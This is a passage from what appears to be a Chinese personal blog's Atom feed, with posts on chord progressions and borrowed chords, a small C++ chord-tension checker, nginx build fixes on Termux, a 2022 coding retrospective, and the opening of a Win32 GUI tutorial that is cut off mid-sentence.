另一首非常喜欢的。</p><p>C 大调、Eb 大调（C 小调）。</p><p> 这曲子主歌的和弦进行变化比较多，是 6415（Am7 Fadd9 C Gsus4）、456（Fadd9 G7 Am7）、4563（FMaj7 G A Em7）、451（FMaj7 G C）拼接而成的，预副歌前有一个 C CMaj7 C 的短时值变化，防止听觉疲劳。</p><p> 前奏的和弦进行是 Fadd9 CMaj9/G Cadd9 CMaj7（第二遍为 G），一个比较花的 451。</p><p> 预副歌部分和弦进行是 6451（Am7 F G C）。</p><p> 副歌前面和弦进行是 4561（FMaj7 G Am7 C），结尾有一个 451（FMaj7 G Cadd9）。</p><p>add9，Maj7，大三和弦短时间内变化可以让功能上需要同一和弦长时间出现时的音响效果更有变化一些，另一个选择是 大三 -sus4- 大三。</p><p> 第二遍副歌结束后直接转到 Eb 大调（F G Ab），和弦进行是 Ab Eb Bb Bdim7 Cm Db Ab Bb Eb Ab Bb Cm Ab Bb G。整体围绕 451、456 进行，有一些离调和弦：Bdim7、Db。Bdim7 减七和弦制造紧张的氛围，同时根音有一个半音上行。Db 作为降 7 级有二级或五级的功能。结尾处 Bb 作为 Eb 大调的五级，C 大调的降七级，同时和前面的 Ab 构成 45，和后面的 G 构成 25，转回 C 大调。</p><p> 降 7 级大和弦替代二级有非常华丽的音响效果。</p><p> 最后一遍副歌 4561 照旧，有一处 Am Ab(#5) G 根音半音下行作为加花，最后出现了上面提到的 C Csus4 C 的变化。</p><p> 尾奏同样是 6415，但略有变化（Am7 FMaj7 Cadd9 G），最后以 Cadd9 结束。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;&lt;em&gt;已更新&lt;/em&gt; &lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;《有什么不好》&lt;/li&gt;
&lt;li&gt;《孤独东京》&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;喜欢的音乐类型从前卫摇滚变成了前摇+日摇（&lt;br&gt;（这张专辑细分风格可能算emotional j-rock，但我不太懂这方面的分类）&lt;/p&gt;</summary>
    
    
    
    <category term="music" scheme="https://tyatt.top/categories/music/"/>
    
    
    <category term="music" scheme="https://tyatt.top/tags/music/"/>
    
    <category term="jpop" scheme="https://tyatt.top/tags/jpop/"/>
    
  </entry>
  
  <entry>
    <title>快速判断和弦的紧张程度</title>
    <link href="https://tyatt.top/2023/02/19/check-harmony/"/>
    <id>https://tyatt.top/2023/02/19/check-harmony/</id>
    <published>2023-02-19T13:23:00.000Z</published>
    <updated>2025-09-27T16:08:26.386Z</updated>
    
    <content type="html"><![CDATA[<p> 理论依据来自：怎样写和声不会出错？五度圈居然这么好用？ - 松竹梅的文章 - 知乎 <a href="https://zhuanlan.zhihu.com/p/357311147">https://zhuanlan.zhihu.com/p/357311147</a> ，我写了一个 C++ 程序来帮助快速判断。</p><span id="more"></span><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br><span class="line">81</span><br><span class="line">82</span><br><span class="line">83</span><br><span class="line">84</span><br><span class="line">85</span><br><span class="line">86</span><br><span class="line">87</span><br><span class="line">88</span><br><span class="line">89</span><br><span class="line">90</span><br><span class="line">91</span><br><span class="line">92</span><br><span class="line">93</span><br><span class="line">94</span><br><span class="line">95</span><br><span class="line">96</span><br><span class="line">97</span><br><span class="line">98</span><br><span class="line">99</span><br><span class="line">100</span><br><span class="line">101</span><br><span class="line">102</span><br><span class="line">103</span><br><span class="line">104</span><br><span class="line">105</span><br><span class="line">106</span><br><span class="line">107</span><br><span class="line">108</span><br></pre></td><td class="code"><pre><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;iostream&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;vector&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;cstdint&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;cstddef&gt;</span></span></span><br><span class="line"><span class="meta">#<span class="keyword">include</span> <span class="string">&lt;algorithm&gt;</span></span></span><br><span class="line"></span><br><span class="line"><span class="function"><span class="type">int</span> <span class="title">main</span><span class="params">()</span></span></span><br><span class="line"><span class="function"></span>&#123;</span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot; 请输入和弦组成音的数量：\n&quot;</span>;</span><br><span class="line">    <span class="type">size_t</span> len;</span><br><span class="line">    std::cin &gt;&gt; len;</span><br><span class="line">    <span class="type">char</span> cnote[<span class="number">3</span>] = &#123; <span class="number">0</span> &#125;;</span><br><span class="line">    <span class="type">uint16_t</span> unote = <span class="number">0</span>;</span><br><span class="line">    <span class="function">std::vector&lt;<span class="type">uint16_t</span>&gt; <span class="title">notes</span><span class="params">(<span class="number">0</span>)</span></span>;</span><br><span class="line"></span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot; 请输入所有和弦的组成音，一行一个，半音只支持 bX 的形式：\n&quot;</span>;</span><br><span class="line">    <span class="keyword">for</span> (<span class="type">size_t</span> i = <span class="number">0</span>; i &lt; len; i++)</span><br><span class="line">    &#123;</span><br><span class="line">        std::cin &gt;&gt; cnote;</span><br><span class="line">        <span class="keyword">switch</span> ((*(<span class="type">uint16_t</span>*)cnote))</span><br><span class="line">        &#123;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">&#x27;C&#x27;</span>:</span><br><span class="line">            unote = <span class="number">1</span>;</span><br><span class="line">            notes.<span class="built_in">push_back</span>(unote);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">&#x27;G&#x27;</span>:</span><br><span class="line">            unote = <span class="number">2</span>;</span><br><span class="line">            notes.<span class="built_in">push_back</span>(unote);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">&#x27;D&#x27;</span>:</span><br><span class="line">            unote = <span class="number">3</span>;</span><br><span class="line">            notes.<span class="built_in">push_back</span>(unote);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">&#x27;A&#x27;</span>:</span><br><span class="line">            unote = <span class="number">4</span>;</span><br><span class="line">            notes.<span class="built_in">push_back</span>(unote);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">&#x27;E&#x27;</span>:</span><br><span class="line">            unote = <span class="number">5</span>;</span><br><span class="line">            notes.<span class="built_in">push_back</span>(unote);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">&#x27;B&#x27;</span>:</span><br><span class="line">            unote = <span class="number">6</span>;</span><br><span class="line">            notes.<span class="built_in">push_back</span>(unote);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">&#x27;Gb&#x27;</span>:</span><br><span class="line">            unote = <span class="number">7</span>;</span><br><span class="line">            notes.<span class="built_in">push_back</span>(unote);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">&#x27;Db&#x27;</span>:</span><br><span class="line">            unote = <span class="number">8</span>;</span><br><span class="line">            notes.<span class="built_in">push_back</span>(unote);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">&#x27;Ab&#x27;</span>:</span><br><span class="line">            unote = <span class="number">9</span>;</span><br><span class="line">            notes.<span class="built_in">push_back</span>(unote);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">&#x27;Eb&#x27;</span>:</span><br><span class="line">            unote = <span class="number">10</span>;</span><br><span class="line">            notes.<span class="built_in">push_back</span>(unote);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">&#x27;Bb&#x27;</span>:</span><br><span class="line">            unote = <span class="number">11</span>;</span><br><span class="line">            notes.<span class="built_in">push_back</span>(unote);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        <span class="keyword">case</span> <span class="string">&#x27;F&#x27;</span>:</span><br><span class="line">            unote = <span class="number">12</span>;</span><br><span class="line">            notes.<span class="built_in">push_back</span>(unote);</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">            <span class="comment">//std::cout &lt;&lt; cnote;</span></span><br><span class="line">        <span class="keyword">default</span>:</span><br><span class="line">            std::cout &lt;&lt; <span class="string">&quot; 不是音符！\n&quot;</span>;</span><br><span class="line">            i--;</span><br><span class="line">            <span class="keyword">break</span>;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line"></span><br><span class="line">    std::<span class="built_in">sort</span>(notes.<span class="built_in">begin</span>(), notes.<span class="built_in">end</span>());</span><br><span class="line">    notes.<span class="built_in">push_back</span>(notes[<span class="number">0</span>] + <span class="number">12</span>);</span><br><span class="line"></span><br><span class="line">    <span class="keyword">for</span> (<span class="keyword">auto</span> it = notes.<span class="built_in">begin</span>() + <span class="number">1</span>; it != notes.<span class="built_in">end</span>(); it++)</span><br><span class="line">    &#123;</span><br><span class="line">        <span class="comment">//std::cout &lt;&lt; *(it - 1) &lt;&lt; &quot;,&quot; &lt;&lt; *it &lt;&lt; &quot;\n&quot;;</span></span><br><span class="line">        <span class="keyword">if</span> ((*it - *(it - <span class="number">1</span>)) &gt; <span class="number">6</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">goto</span> low;</span><br><span class="line">        &#125;</span><br><span class="line">        <span class="keyword">else</span> <span class="keyword">if</span> ((*it - *(it - <span class="number">1</span>)) == <span class="number">6</span>)</span><br><span class="line">        &#123;</span><br><span class="line">            <span class="keyword">goto</span> mid;</span><br><span class="line">        &#125;</span><br><span class="line">    &#125;</span><br><span class="line">high:</span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot; 这个和弦的张力非常大。&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    <span class="keyword">goto</span> end;</span><br><span class="line"></span><br><span class="line">low:</span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot; 这个和弦的张力不太大。&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    <span class="keyword">goto</span> end;</span><br><span class="line">mid:</span><br><span class="line">    std::cout &lt;&lt; <span class="string">&quot; 这个和弦的张力较大。&quot;</span> &lt;&lt; std::endl;</span><br><span class="line">    <span class="keyword">goto</span> end;</span><br><span class="line"></span><br><span class="line"></span><br><span class="line">end:</span><br><span class="line">    <span class="keyword">return</span> <span class="number">0</span>;</span><br><span class="line">&#125;</span><br><span class="line"></span><br></pre></td></tr></table></figure>]]></content>
    
    
    <summary type="html">&lt;p&gt;理论依据来自：怎样写和声不会出错？五度圈居然这么好用？ - 松竹梅的文章 - 知乎&lt;a href=&quot;https://zhuanlan.zhihu.com/p/357311147&quot;&gt;https://zhuanlan.zhihu.com/p/357311147&lt;/a&gt; ，我写了一个 C++ 程序来帮助快速判断。&lt;/p&gt;</summary>
    
    
    
    <category term="music" scheme="https://tyatt.top/categories/music/"/>
    
    
    <category term="music" scheme="https://tyatt.top/tags/music/"/>
    
    <category term="C++" scheme="https://tyatt.top/tags/C/"/>
    
  </entry>
  
  <entry>
    <title>关于 2022 年敲过的一些代码</title>
    <link href="https://tyatt.top/2022/12/31/2022/"/>
    <id>https://tyatt.top/2022/12/31/2022/</id>
    <published>2022-12-31T15:58:00.000Z</published>
    <updated>2025-09-27T16:14:23.783Z</updated>
    
    <content type="html"><![CDATA[<p> 关于 2022 年敲过的一些代码，多数属于玩意儿，也有一些有用的。</p><span id="more"></span><p>1）研究了一下 infinityhook。patchguard 确实是有漏洞，新版本 windows 也并没有封堵，只是稍微增加了一小点利用难度。</p><p>2）研究了一下 windows 的显卡驱动框架，尝试获取显卡 framebuffer 地址不过失败了，发给 dxgkrnl 的回调被忽视了，估计是注册表缺东西。</p><p> 很可惜前段时间不小心把存项目文件的文件夹删掉了，其他的项目有备份，但上面这俩没有。</p><p>3）终于整出了一个能用的内核项目，效果相当于硬链接文件，但可以跨卷。内核开发坑确实多。<img src="https://s1.ax1x.com/2022/12/31/pSCkMUU.png" alt="pSCkMUU.png"></p><p>4）尝试停掉 windows 的线程调度与 cpu 的定时器。本来第二个项目是打算配合这玩意使用的。<img src="https://s1.ax1x.com/2022/12/31/pSCknbV.png" alt="pSCknbV.png"></p><p>5）又一个可用的项目。弥补了实用多重引导工具 ventoy 的 windows 安装器不支持命令行的缺陷。<img src="https://s1.ax1x.com/2022/12/31/pSCkQ5F.png" alt="pSCkQ5F.png"></p><p>6）🌚（）<img src="https://s1.ax1x.com/2022/12/31/pSCkKET.png" alt="pSCkKET.png"></p><p>7）没弄明白的 vesa 监视器控制命令集。似乎从显卡到显示器的资料是开放的，但从软件到显卡的资料是显卡厂商内部的。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;关于2022年敲过的一些代码，多数属于玩意儿，也有一些有用的。&lt;/p&gt;</summary>
    
    
    
    <category term="DEV" scheme="https://tyatt.top/categories/DEV/"/>
    
    
    <category term="C" scheme="https://tyatt.top/tags/C/"/>
    
    <category term="kernel" scheme="https://tyatt.top/tags/kernel/"/>
    
    <category term="Win32" scheme="https://tyatt.top/tags/Win32/"/>
    
  </entry>
  
  <entry>
    <title>关于 libcrypt 和 libcrypto ，以及编译 nginx 的两个坑</title>
    <link href="https://tyatt.top/2022/12/24/crypt-crypto-nginx/"/>
    <id>https://tyatt.top/2022/12/24/crypt-crypto-nginx/</id>
    <published>2022-12-24T03:05:55.000Z</published>
    <updated>2025-04-07T15:21:22.359Z</updated>
    
    <content type="html"><![CDATA[<p>termux 官方库的 nginx 自带的模块不是很全，于是尝试编译安装。</p><span id="more"></span><p> 首先用官方库的 nginx 执行了一下 nginx -V ，记录了一下官方的编译参数。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">--prefix=/data/data/com.termux/files/usr --crossbuild=Linux:3.16.1:aarch64 --crossfile=/home/builder/.termux-build/nginx/src/auto/cross/Android --with-cc=aarch64-linux-android-clang --with-cpp=aarch64-linux-android-cpp --with-cc-opt=<span class="string">&#x27; -I/data/data/com.termux/files/usr/include -DIOV_MAX=1024 -fstack-protector-strong -Oz&#x27;</span> --with-ld-opt=<span class="string">&#x27;-L/data/data/com.termux/files/usr/lib -Wl,-rpath=/data/data/com.termux/files/usr/lib -fopenmp -static-openmp -Wl,--enable-new-dtags -Wl,--as-needed -Wl,-z,relro,-z,now -landroid-glob&#x27;</span> --with-threads --sbin-path=/data/data/com.termux/files/usr/bin/nginx --conf-path=/data/data/com.termux/files/usr/etc/nginx/nginx.conf --http-log-path=/data/data/com.termux/files/usr/var/log/nginx/access.log --pid-path=/data/data/com.termux/files/usr/tmp/nginx.pid --lock-path=/data/data/com.termux/files/usr/tmp/nginx.lock --error-log-path=/data/data/com.termux/files/usr/var/log/nginx/error.log --http-client-body-temp-path=/data/data/com.termux/files/usr/var/lib/nginx/client-body --http-proxy-temp-path=/data/data/com.termux/files/usr/var/lib/nginx/proxy --http-fastcgi-temp-path=/data/data/com.termux/files/usr/var/lib/nginx/fastcgi --http-scgi-temp-path=/data/data/com.termux/files/usr/var/lib/nginx/scgi --http-uwsgi-temp-path=/data/data/com.termux/files/usr/var/lib/nginx/uwsgi --with-http_auth_request_module --with-http_ssl_module --with-http_v2_module --with-http_gunzip_module --with-http_sub_module --with-stream --with-stream_ssl_module</span><br></pre></td></tr></table></figure><p> 删除掉与交叉编译相关的参数，然后尝试直接正常 make 流程编译，报错。<br><a href="https://imgse.com/i/zjzgIK"><img src="https://s1.ax1x.com/2022/12/24/zjzgIK.jpg" alt="第一次报错.jpg"></a></p><p> 我选择直接修改 eventpoll.h ，将报错中提到的宏常量前面的修饰删掉，这个报错解决。</p><p> 第二次 make，链接器报错：找不到符号 crypt 。很疑惑，网上找了半天没有类似问题。仔细审视传给链接器的参数，发现只有 -lcrypto ， 没有 -lcrypt（没有截图，当时显示的 crypto 正好在 t 和 o 之间换行了）。在 configure 的参数中加上了 -lcrypt ，问题解决。</p><figure class="highlight bash"><table><tr><td class="gutter"><pre><span class="line">1</span><br></pre></td><td class="code"><pre><span class="line">--prefix=/data/data/com.termux/files/usr --with-cc-opt=<span class="string">&#x27; -I/data/data/com.termux/files/usr/include -DIOV_MAX=1024 -fstack-protector-strong -Oz&#x27;</span> --with-ld-opt=<span class="string">&#x27;-L/data/data/com.termux/files/usr/lib -Wl,-rpath=/data/data/com.termux/files/usr/lib -fopenmp -static-openmp -Wl,--enable-new-dtags -Wl,--as-needed -Wl,-z,relro,-z,now -landroid-glob -lcrypt&#x27;</span> --with-threads --sbin-path=/data/data/com.termux/files/usr/bin/nginx --conf-path=/data/data/com.termux/files/usr/etc/nginx/nginx.conf --http-log-path=/data/data/com.termux/files/usr/var/log/nginx/access.log --pid-path=/data/data/com.termux/files/usr/tmp/nginx.pid --lock-path=/data/data/com.termux/files/usr/tmp/nginx.lock --error-log-path=/data/data/com.termux/files/usr/var/log/nginx/error.log --http-client-body-temp-path=/data/data/com.termux/files/usr/var/lib/nginx/client-body --http-proxy-temp-path=/data/data/com.termux/files/usr/var/lib/nginx/proxy --http-fastcgi-temp-path=/data/data/com.termux/files/usr/var/lib/nginx/fastcgi --http-scgi-temp-path=/data/data/com.termux/files/usr/var/lib/nginx/scgi --http-uwsgi-temp-path=/data/data/com.termux/files/usr/var/lib/nginx/uwsgi --with-http_auth_request_module --with-http_ssl_module --with-http_v2_module --with-http_gunzip_module --with-http_sub_module --with-stream --with-stream_ssl_module --with-stream_ssl_preread_module --with-http_stub_status_module --with-http_gzip_static_module</span><br></pre></td></tr></table></figure><hr><ul><li>libcrypt 是 glibc 的一个库；</li><li>libcrypto 是 openssl 的一个库。</li></ul>]]></content>
    
    
    <summary type="html">&lt;p&gt;termux 官方库的 nginx 自带的模块不是很全，于是尝试编译安装。&lt;/p&gt;</summary>
    
    
    
    
  </entry>
  
  <entry>
    <title>一些简单的离调和弦</title>
    <link href="https://tyatt.top/2022/12/10/%E4%B8%80%E4%BA%9B%E7%AE%80%E5%8D%95%E7%9A%84%E7%A6%BB%E8%B0%83%E5%92%8C%E5%BC%A6/"/>
    <id>https://tyatt.top/2022/12/10/%E4%B8%80%E4%BA%9B%E7%AE%80%E5%8D%95%E7%9A%84%E7%A6%BB%E8%B0%83%E5%92%8C%E5%BC%A6/</id>
    <published>2022-12-10T06:27:00.000Z</published>
    <updated>2025-09-27T16:10:01.838Z</updated>
    
    <content type="html"><![CDATA[<p>包括副属和弦，副导和弦，临时 251，降七级和弦。</p><span id="more"></span><h3 id="副属和弦"><a href="# 副属和弦" class="headerlink" title="副属和弦"></a>副属和弦 </h3><p> 有一个目标和弦，它上方五度的属和弦就是这个目标和弦的副属和弦，目标和弦称之为这个副属和弦的临时主和弦。</p><p>举例：C Am F G 这个和弦进行在 F 前加入副属和弦就是 C Am <em><strong>C7</strong></em> F G</p><hr><h3 id="副导和弦"><a href="# 副导和弦" class="headerlink" title="副导和弦"></a>副导和弦 </h3><p> 和副属和弦类似，是临时主和弦的七级减和弦。常使用减七或半减七和弦。</p><p>举例：C Am <em><strong>Em7-5</strong></em> F G</p><hr><h3 id="大小调临时 -251"><a href="# 大小调临时 -251" class="headerlink" title="大小调临时 251"></a>大小调临时 251</h3><p>同样类似，是临时主和弦前加入它的二级，五级。大调中二级是小和弦，小调中二级是半减七和弦。五级均为属和弦（小调使用和声小调）</p><p>举例：C Am <em><strong>Gm C7</strong></em> F <em><strong>Am7-5 D7</strong></em> G </p><hr><h3 id="降七级"><a href="# 降七级" class="headerlink" title="降七级"></a>降七级 </h3><p> 一种理论解释是重下属和弦。</p><p>一些用法：  </p><ol><li> C F =&gt; C <em><strong>B♭/D C/E</strong></em> F ， 比如两遍 4536251 之间的连接。可以当成临时 451。</li><li> A♭ B♭ C 。俗称“马里奥终止”、“辉煌终止”，和 F G Am 类似。可以在歌曲终止的 251 的 5，1 之间插入 A♭ B♭。</li><li>替代二级。一种理论解释是 ♭7 2 4 和 2 4 6 有两个相同的音，另一种理论解释是负极和声（但我没看懂）。</li><li>替代五级。♭7 来自 mixolydian 或 Aeolian 调式音阶。</li><li>三全音替代。E7 A =&gt; B♭ A。A 可以是 Am 或 A7。</li></ol><hr><p>以 C 自然大调举例，以上所有 G7 均可替换成 G 或 Gsus。</p>]]></content>
    
    
    <summary type="html">&lt;p&gt;包括副属和弦，副导和弦，临时 251，降七级和弦。&lt;/p&gt;</summary>
    
    
    
    <category term="music" scheme="https://tyatt.top/categories/music/"/>
    
    
    <category term="music" scheme="https://tyatt.top/tags/music/"/>
    
  </entry>
  
  <entry>
    <title>C/C++ 使用 Win32 API 制作图形界面</title>
    <link href="https://tyatt.top/2021/05/30/win32-gui/"/>
    <id>https://tyatt.top/2021/05/30/win32-gui/</id>
    <published>2021-05-30T11:43:00.000Z</published>
    <updated>2025-09-27T16:14:43.901Z</updated>
    
    <content type="html"><![CDATA[<p>转自我的洛谷博客（在线编辑器真不错）</p><span id="more"></span><h2 id="前言"><a href="# 前言" class="headerlink" title="前言"></a>前言 </h2><p> 作者非常菜，如有错误请各位指正，不胜感激。</p><p>本篇文章会介绍一些关于 Win32 API 的 GUI 部分的内容。</p><hr><p>注意：</p><ul><li>顾名思义，这东西不跨平台，只能在 Windows 上用；</li><li>建议阅读本文前先复习一下指针；</li><li>遇到新 API 函数请尽量先上 MSDN 查询；</li><li>时刻注意内存安全。</li></ul><h2 id="一、- 环境准备"><a href="# 一、- 环境准备" class="headerlink" title="一、 环境准备"></a>一、 环境准备 </h2><p> 我使用的是 Visual Studio 2017。</p><p>下载地址：<a href="https://my.visualstudio.com/Downloads?q=visual%20studio%202017">https://my.visualstudio.com/Downloads?q=visual%20studio%202017</a></p><p><img src="https://z3.ax1x.com/2021/04/06/c3FRpQ.png" alt="vs2017 下载"></p><p>仅安装了 “使用 C++ 的桌面开发”。  </p><p>但请注意同时选上“Windows SDK”！</p><p>如果上面的链接失效了，那么去微软官网下载当前最新版 VS 也可以。截止到我写这篇文章时，VS 的最新版本是 2019。</p><p>安装时，选择 Community 版本就可以，它是完全免费的。</p><p>如果提示 30 天使用期限，那么注册并登录微软帐号就能解决，这同样是完全免费的。</p><p>不建议使用 VC6.0，过于古老且在字符集方面存在问题。</p><h2 id="二、- 一些概念"><a href="# 二、- 一些概念" class="headerlink" title="二、 一些概念"></a>二、 一些概念 </h2><h3 id="下文看到新词 - 疑惑的地方可以先来这里找找"><a href="# 下文看到新词 - 疑惑的地方可以先来这里找找" class="headerlink" title="下文看到新词 / 疑惑的地方可以先来这里找找"></a> 下文看到新词 / 疑惑的地方可以先来这里找找</h3><hr><p>Win32，并不是指 32 位 Windows，而是现代 NT 内核 Windows 用户态的统称。</p><p>64 位 Windows 的用户态也可以称作 Win32。</p><p>Win32 api，顾名思义，就是 Windows 在用户态为开发者提供的 API 函数。这些函数种类多样，功能非常丰富。</p><p>这些 API 函数的用户态实现被微软存放在几个 dll 文件里，最常用的有两个：user32.dll 和 kernel32.dll。</p><p>我们编写程序的时候，一般需要 dll 对应的 lib 文件和 h 头文件才能调用 dll 里的函数。Windows SDK 为我们准备好了这些 lib 和 h 文件。</p><p> <em>上面这段话部分新名词涉及到 x86 处理器和操作系统的知识，比较复杂，有机会再单独写。</em> </p><hr><p>在 VS 中，按住 Ctrl，点击任何一个函数 / 非标准数据类型（ATOM、BOOL 等）/ 宏，可以查看它们的原型 / 定义。</p><hr><p>Win32 API 中看起来有很多新的数据类型，但事实上，它们全是标准 C++ 中的类型。<br>比如：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br></pre></td><td class="code"><pre><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">long</span>       DWORD;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">int</span>                 BOOL;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">char</span>       BYTE;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">unsigned</span> <span class="type">short</span>      WORD;</span><br><span class="line"><span class="keyword">typedef</span> <span class="type">float</span>               FLOAT;</span><br></pre></td></tr></table></figure><p>微软的命名比较有特点，一般用的是匈牙利命名法：<br>变量名 = 属性 + 类型 + 对象描述。  </p><table><thead><tr><th align="center">属性</th><th align="center">含义</th></tr></thead><tbody><tr><td align="center">g_</td><td align="center">全局变量</td></tr><tr><td align="center">c_</td><td align="center">常量</td></tr><tr><td align="center">m_</td><td align="center">c++ 类成员变量</td></tr><tr><td align="center">s_</td><td align="center">静态变量</td></tr></tbody></table><table><thead><tr><th align="center">类型</th><th align="center">含义</th></tr></thead><tbody><tr><td align="center">a</td><td align="center">数组</td></tr><tr><td align="center">p</td><td align="center">指针</td></tr><tr><td align="center">fn</td><td align="center">函数</td></tr><tr><td align="center">h</td><td align="center">句柄</td></tr><tr><td align="center">l</td><td align="center">长整型</td></tr><tr><td align="center">b</td><td align="center">布尔</td></tr><tr><td align="center">f</td><td align="center">浮点型（有时也指文件）</td></tr><tr><td align="center">dw</td><td align="center">双字</td></tr><tr><td align="center">sz</td><td align="center">字符串</td></tr><tr><td align="center">n</td><td align="center">短整型</td></tr><tr><td align="center">d</td><td align="center">双精度浮点</td></tr><tr><td align="center">c（通常用 cnt）</td><td align="center">计数</td></tr><tr><td align="center">ch（通常用 c）</td><td align="center">字符</td></tr><tr><td align="center">i（通常用 n）</td><td align="center">整型</td></tr><tr><td align="center">by</td><td align="center">字节</td></tr><tr><td align="center">w</td><td align="center">字</td></tr><tr><td align="center">r</td><td align="center">实型</td></tr><tr><td align="center">u</td><td align="center">无符号</td></tr></tbody></table><table><thead><tr><th align="center">描述</th><th align="center">含义</th></tr></thead><tbody><tr><td align="center">Max</td><td align="center">最大</td></tr><tr><td align="center">Min</td><td align="center">最小</td></tr><tr><td align="center">Init</td><td align="center">初始化</td></tr><tr><td align="center">T（或 Temp）</td><td align="center">临时变量</td></tr><tr><td align="center">Src</td><td align="center">源对象</td></tr><tr><td align="center">Dest</td><td align="center">目的对象</td></tr><tr><td align="center">（来自 <a href="https://baike.baidu.com/item/%E5%8C%88%E7%89%99%E5%88%A9%E5%91%BD%E5%90%8D%E6%B3%95/7632397"> 百度百科</a>）</td><td align="center"></td></tr></tbody></table><p>其中，lp 或者 p 是最常用的两个，这两个前缀意义一样，都代表了指针。</p><hr><p>用户通过控件与应用程序交互。在 Win32 API 中，每个控件都可以看成一个特殊的窗口。  </p><hr><p>在 Win32 程序中，字符集是一个比较要命的地方，不同字符集下的程序不能直接复制编译。本文使用的是创建项目时默认的 Unicode 字符集。</p><p>在为宽字节型变量赋值时，如果赋予的值是字符串字面量，要在字符串前（引号外）增加一个大写字母 L。如：</p><figure class="highlight cpp"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br></pre></td><td class="code"><pre><span class="line">LPCWSTR a = <span class="string">L&quot;abc&quot;</span>;</span><br><span class="line">WCHAR b[] = <span class="string">L&quot;def&quot;</span>;</span><br></pre></td></tr></table></figure><p>如果不确定变量类型是宽字节还是窄字节（如 LPTSTR、TCHAR 等），那么可以使用 TEXT() 这个宏包裹住要赋给变量的字符串（ TEXT(“abc”) ），它会自动判断应该使用的类型，用 _T() 也行，效果完全一样。</p><p>Win32 API 中很多函数都有 ANSI 和 宽字符（Unicode）两个版本，分别以大写字母 A 或大写字母 W 结尾。</p><p>推荐使用 Unicode 字符集。</p><p>wchar_t 是 C/C++ 语言标准的一部分，但标准里没有规定具体的实现。</p><p>就我的经验来说，Windows 对 wchar_t 的实现是 UCS-2 字符集，每个字符定长 2 字节。</p><p>（大端小端？这得看 CPU）</p><hr><p>句柄是它所代表的对象的唯一标识，和它所代表的对象一一对应。它的作用大概类似于前端 HTML 标签的 